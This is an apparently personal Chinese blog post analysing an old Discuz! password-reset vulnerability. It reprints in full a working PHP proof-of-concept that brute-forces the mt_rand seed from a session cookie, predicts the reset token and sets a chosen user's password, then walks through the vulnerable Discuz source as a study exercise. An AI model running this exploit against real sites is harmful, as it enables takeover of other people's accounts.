关于 SSV-ID: 4474 POC的分析和思考

SSV-ID: 4474

SSV-AppDir: Discuz!漏洞

发布时间: 2008-11-21 (GMT+0800) 

URL:http://sebug.net/vuldb/ssvid-4474

很老的一个漏洞了,只是作为学习渗透的一次材料罢了,用了它的poc,直接可以用了,感觉很神奇的同时想分析它的原理。不是什么很高端的东西,大神呵呵就好,我权当做一次学习笔记。

 

1.

  1. <?php
  2.  
  3. print_r('
  4. +---------------------------------------------------------------------------+
  5. Discuz! Reset User Password Exploit
  6. by 80vul
  7. team: http://www.80vul.com
  8. +---------------------------------------------------------------------------+
  9. ');
  10.  
  11. if($argc <6){
  12. print_r('
  13. +---------------------------------------------------------------------------+
  14. Usage: php '.$argv[0].' host path user mail uid
  15. host: target server (ip/hostname)
  16. path: path to discuz
  17. user: user login name
  18. mail: user login mail
  19. uid: user login id
  20. Example:
  21. php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2
  22. +---------------------------------------------------------------------------+
  23. ');
  24. exit;
  25. }
  26.  
  27. error_reporting(7);
  28. ini_set('max_execution_time',0);
  29.  
  30. $host = $argv[1];
  31. $path = $argv[2];
  32. $user = $argv[3];
  33. $mail = $argv[4];
  34. $uid = $argv[5];
  35.  
  36. $fp = fsockopen($host,80);
  37.  
  38. $data ="GET ".$path."viewthread.php HTTP/1.1\r\n";
  39. $data .="Host: $host\r\n";
  40. $data .="Keep-Alive: 300\r\n";
  41. $data .="Connection: keep-alive\r\n\r\n";
  42.  
  43. fputs($fp, $data);
  44.  
  45. $resp ='';
  46.  
  47. while($fp &&!feof($fp)){
  48. $resp .= fread($fp,1024);
  49. preg_match('/&amp;formhash=([a-z0-9]{8})/', $resp, $hash);
  50. if($hash)
  51. break;
  52. }
  53.  
  54. if($hash){
  55. $cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
  56. $data ="POST ".$path."member.php HTTP/1.1\r\n";
  57. $data .="Content-Type: application/x-www-form-urlencoded\r\n";
  58. $data .="Referer: http://$host$path\r\n";
  59. $data .="Host: $host\r\n";
  60. $data .="Content-Length: ".strlen($cmd)."\r\n";
  61. $data .="Connection: close\r\n\r\n";
  62. $data .= $cmd;
  63.  
  64. fputs($fp, $data);
  65.  
  66. $resp ='';
  67.  
  68. while($fp &&!feof($fp))
  69. $resp .= fread($fp,1024);
  70.  
  71. fclose($fp);
  72.  
  73. preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);
  74.  
  75. if(!$sid)
  76. exit("Exploit Failed!\n");
  77.  
  78. $seed = getseed();
  79. if($seed){
  80. mt_srand($seed);
  81. random();
  82. mt_rand();
  83. $id = random();
  84.  
  85. $fp = fsockopen($host,80);
  86.  
  87. $cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];
  88. $data ="POST ".$path."member.php HTTP/1.1\r\n";
  89. $data .="Content-Type: application/x-www-form-urlencoded\r\n";
  90. $data .="Referer: http://$host$path\r\n";
  91. $data .="Host: $host\r\n";
  92. $data .="Content-Length: ".strlen($cmd)."\r\n";
  93. $data .="Connection: close\r\n\r\n";
  94. $data .= $cmd;
  95.  
  96. fputs($fp, $data);
  97.  
  98. $resp ='';
  99.  
  100. while($fp &&!feof($fp))
  101. $resp .= fread($fp,1024);
  102.  
  103. if(strpos($resp,'您的密码已重新设置,请使用新密码登录。')!==false)
  104. exit("Expoilt Success!\nUser New Password:\t123456\n");
  105. else
  106. exit("Exploit Failed!\n");
  107. }else
  108. exit("Exploit Failed!\n");
  109. }else
  110. exit("Exploit Failed!\n");
  111.  
  112. function getseed()
  113. {
  114. global $sid;
  115.  
  116. for($seed =0; $seed <=1000000; $seed ++){
  117. mt_srand($seed);
  118. $id = random(6);
  119. if($id == $sid[1])
  120. return $seed;
  121. }
  122. returnfalse;
  123. }
  124.  
  125. function random($length =6)
  126. {
  127. $hash ='';
  128. $chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
  129. $max = strlen($chars)-1;
  130. for($i =0; $i < $length; $i ++)
  131. $hash .= $chars[mt_rand(0, $max)];
  132.  
  133. return $hash;
  134. }
  135.  
  136. ?>

 

 

2. 演示

poc不用做任何修改就可以直接使用了

php.exe DiscuzResetUserPasswordVulnerability.php 192.168.174.131 / little 306211321@qq.com 2

目标用户的密码就被你修改了111了。

 

3. 代码分析

我们现在来一步步分析这个漏洞成因和这个poc的利用思想。

这个漏洞利用的DZ的密码找回功能来对目标用户的密码进行非法修改的,但是系统是怎么区分是不是那个用户本人在进行密码找回呢?DZ是利用一个伪随机数算法的的随机不可测性来保证用户的真实性的,即DZ基于这个伪随机数生成函数的算法生成的id_hash来进行身份认证。但是问题也就在这里了,这个算法的随机性强度不够,导致可以通过暴力猜解的方式逆向推测出这个id_hash。

 

首先,poc做的第一件事是去获取一个formhash:

$data ="GET ".$path."viewthread.php HTTP/1.1\r\n"; ....

preg_match('/&amp;formhash=([a-z0-9]{8})/', $resp, $hash);

因为DZ为了防御CSRF攻击,对每个表单都设置了formhash,这样就有效防止了跨域的CSRF攻击(虽然也有方法绕过,但这不是这次分析的范围了)

在include/global_func.php函数库中有关于formhash检查的函数实现代码:

 

所以我们在进行表单的模拟提交之前,要先获取到一个有效的formhash。

 

接下来是发送密码找回的请求POST请求。这是UI界面的截图

 

来看我们的poc代码:

if($hash){

$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];

$username:目标用户名

$email:目标用户的邮箱

$formhash:formhash

 

接下来,poc提取出了获得的HTTP头的cookie设置信息:

$resp .= fread($fp,1024);

....

preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);

这个cookie值就是第一个重点,我们之后要详细分析是怎么从这个cookie推出id_hash的。

 

接下来,poc进行了一些很重要的算法运算:

if(!$sid)    //$sid是刚才获得cookie值

  exit("Exploit Failed!\n");

$seed = getseed();

if($seed){

  mt_srand($seed);

  random();

  mt_rand();

  $id = random();

  $fp = fsockopen($host,80);

$cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];    //把算出的id_hash带入POST参数域中

 

那getseed()是什么意思呢?我们进入DZ的源代码进行白盒分析一下,看看80vul是怎么利用逆向算法达到爆破的目的的(我自己感觉这有点类似逆向里面的算法逆向,原理差不多,都是从结果推出起源)

我们刚才第二次发出的POST请求:

$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];

对应到代码里面就是这段:

member.php

elseif($action == 'lostpasswd')
{
    $discuz_action = 141;
    if(!submitcheck('lostpwsubmit'))
    {//基于formhash的CSRF检查
        include template('lostpasswd');
    }
    else
    {
        $secques = quescrypt($questionid, $answer);
        $query = $db->query("SELECT uid, username, adminid, email FROM {$tablepre}members WHERE username='$username' AND secques='$secques' AND email='$email'");
        if(!$member = $db->fetch_array($query))
        {
            showmessage('getpasswd_account_notmatch', NULL, 'HALTED');
        }
        elseif($member['adminid'] == 1 || $member['adminid'] == 2)
        {
            showmessage('getpasswd_account_invalid', NULL, 'HALTED');
        }
        $idstring = random(6); 
        $db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'");
        sendmail("$username <$member[email]>", 'get_passwd_subject', 'get_passwd_message');
        showmessage('getpasswd_send_succeed');
    }
}

 

可以看到,程序先进行CSRF检查,然后根据我们提交的目标用户参数从数据库中查出username,adminid,email参数,并判断adminid是否为1/2(普通用户的adminid都是从3开始算起的,管理员是1),即不能找回管理员的密码。

然后就是一句很关键的话了:

$idstring = random(6); 

接下来就直接把生成的id_hash插入数据库中。

 

$db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'");

 

random()函数位于:/include/global_func.php中

function random($length, $numeric = 0)
{
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    if($numeric)
    {
        $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
    }
    else
    {
        $hash = '';
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
        $max = strlen($chars) - 1;
        for($i = 0; $i < $length; $i++)
        {
            $hash .= $chars[mt_rand(0, $max)];
        }
    }
    return $hash;
}

注意第一句话:

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

自 PHP 4.2.0 起,不再需要用 srand()  mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。

我们的PHP版本在5.0以上,所以种子都是由系统自动完成的。

然后代码在26个字母包括大小写和数字中随机生成执行长度$length的伪随机字符串。

 

所以,我们现在知道了,在我们发出找回密码的POST请求的时候,系统会运行代码:

$idstring = random(6); 

生成个6位伪随机字符串然后插进数据库。

 

那这个我们poc中第三步得到的cookie有什么关系呢?我们继续分析poc代码,之后会详细分析cookie值和和id_hash的关系。

 

poc做的第三步是:

$cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];

$data ="POST ".$path."member.php HTTP/1.1\r\n";

action:重设密码的动作

uid:前面填写的目标用户的id

id:我们通过算法得到的伪随机字符串

newpasswd:新密码

formhash:formhash

 

这一步就相当于我们在邮箱会收到一封确认邮件,要求我们点击然后去重设密码的链接一样。

这个动作对应到:member.php里面的代码逻辑是:

elseif($action == 'getpasswd' && $uid && $id)
{
    $discuz_action = 141;
    $query = $db->query("SELECT m.username, mf.authstr FROM {$tablepre}members m, {$tablepre}memberfields mf
        WHERE m.uid='$uid' AND mf.uid=m.uid");
    $member = $db->fetch_array($query);
    list($dateline, $operation, $idstring) = explode("\t", $member['authstr']);
    if($dateline < $timestamp - 86400 * 3 || $operation != 1 || $idstring != $id)
    {
        showmessage('getpasswd_illegal', NULL, 'HALTED');
    }
    if(!submitcheck('getpwsubmit') || $newpasswd1 != $newpasswd2)
    {
        include template('getpasswd');
    }
    else
    {
        if($newpasswd1 != addslashes($newpasswd1))
        {
            showmessage('profile_passwd_illegal');
        }
        $password = md5($newpasswd1);
        $db->query("UPDATE {$tablepre}members SET password='$password' WHERE uid='$uid'");
        $db->query("UPDATE {$tablepre}memberfields SET authstr='' WHERE uid='$uid'");
        showmessage('getpasswd_succeed');
    }
}

可以看到,代码会从数据库查出我们刚才的找回密码动作产生的id_hash。然后判断一下是否过了3天的timesxpire。然后是最关键的:

|| $idstring != $id

直接对我们提交的$id和数据库中的伪随机字符串$idstring进行等值比较,也就是说,我们的算法得出的$id必须要能够等于数据库中的$idsring才能通过密码重设逻辑。

我们现在可以回过头来分析一下我们的poc算法是怎么通过cookie值算出这个伪随机id_hash的了。

 

通过webscarab代理拦截抓包,发现DZ是先对我们本地写进一个cookie值,再发送HTTP实体内容的。也就是说在调用random(6)生成伪随机id_hash之前,先生成了一个cookie并发往我们的浏览器。

从member.php中处理找回密码的代码逻辑的地方往前回溯,发现在头部require了一个common.inc.php文件。在这里下断点die("ok")。发现cookie值依然获取到了

说明common.inc.php里面包含了设置cookie信息的代码:

include/common.inc.php

看到了设置cookie的代码:

if(empty($_DCOOKIE['sid']) || $sid != $_DCOOKIE['sid'])
{
        dsetcookie('sid', $sid, 604800);
}

继续回溯$sid。

$sid = daddslashes(($transsidstatus || CURSCRIPT == 'wap') && (isset($_GET['sid']) || isset($_POST['sid'])) ?
    (isset($_GET['sid']) ? $_GET['sid'] : $_POST['sid']) :
    (isset($_DCOOKIE['sid']) ? $_DCOOKIE['sid'] : ''));

接着回溯$_DCOOKIE['sid']。

if(!$sessionexists)
{
    if($discuz_uid)
    {
        $query = $db->query("SELECT $membertablefields, m.styleid
            FROM {$tablepre}members m WHERE m.uid='$discuz_uid' AND m.password='$discuz_pw' AND m.secques='$discuz_secques'");
        if(!($_DSESSION = $db->fetch_array($query)))
        {
            clearcookies();
        }
    }

    if(ipbanned($onlineip)) $_DSESSION['ipbanned'] = 1;

    $_DSESSION['sid'] = random(6);
    $_DSESSION['seccode'] = random(6, 1);
}

注意这里的if判断。if(!$sessionexists):session值不存在的时候进入这块代码逻辑,而我们知道session虽然存在服务器上,但是session和用户的对应关系是通过我们发往服务器的cookie值来链接的,但是我们的poc没有发送任何cookie,所以每次我们的session都为空,也就都会进行这块代码逻辑。

看关键的两句:

 $_DSESSION['sid'] = random(6);
 $_DSESSION['seccode'] = random(6, 1);

第一句是生成一个6位长度的伪随机字符串,第二句是生成一个1位长度的伪随机字符串。本质上就是6次mt_rand()加上1次mt_rand()。

这里有一个很重要的知识点要注意,关于PHP的mt_rand(),因为我们在这次HTTP交互中是第一次使用mt_rand(),所以系统会自动生成一个seed,不用我们再手动赋值seed,而这个seed在本次HTTP交互中就不会再变了,后面不管多少次mt_rand()都是基于这个seed。

 

整理一下DZ的整个代码流程:

1. 在第一次的mt_rand()之前由系统自动生成一个seed,这个过程对程序员是透明的。--------等效于破出里面的mt_srand($seed);

2. 6次mt_rand()生成一次sid,用于set-cookie。-----等效于poc里面的一次random()调用

3. 1次mt_rand()生成一个seccode------等效与poc里面的一次mt_rand()

4. 6次mt_rand()生成一个idstring,即id伪随机字符串,并保存进数据库--------等效于poc里面的一次random()调用

 

好,我们接下来来看看poc里面生成id_hash的算法是怎么写的:

function getseed()

{

  global $sid;

  for($seed =0; $seed <=1000000; $seed ++)

  {

    mt_srand($seed);

    $id = random(6);

    if($id == $sid[1])

    {

      return $seed;

    }

  }

  return false;

}

 

因为PHPmt_rand()默认的自动种子的原理就是:

((double)microtime() * 1000000);

所以for循环的最大值就是1000000

然后代码用cookie中sid一样的生成方式random(6)去生成一个随机hash,用这个hash来和cookie值进行比较,并通过 for循环不断的更换seed种子,对seed进行逆向猜测,看到这里,我突然感觉到这个逆向中的算法注册机的思想是类似的。都是一种算法逆向思想,这也是为什么要写这篇文章的原因,感觉这种思想还是比较有意思的。

 

接下来,如果得到了和sid一样的hash,则表明我们逆向推出了seed,然后再按照DZ的程序逻辑,一一对应的运行相应次数的mt_rand(),正向得到id_hash。

得到id_hash之后,就可以构造第三个POST数据包,对目标用户进行密码重置了。

这样,就完成了通过暴力猜解对任意用户的密码进行重置。

 

 

4. 漏洞成因

我感觉这个漏洞的成因就是因为现在的伪随机算法本身的随机性就不强,即明文空间太小了,攻击者可以有限的时间内对明文空间进行暴力猜的,达到密文空间。如果要解决这个问题,应该更换明文空间更大的算法。类似MD5,SHA1那种,让基于逆向算法的猜解变得很难才行。

 

 

 

至此,整个poc就分析这样了,接下来继续学习DZ的其他的漏洞和poc,希望能从每个漏洞中都认真分析,学到点东西。


 


 

posted @ 2013-08-27 17:05  郑瀚Andrew  阅读(1416)  评论(0编辑  收藏  举报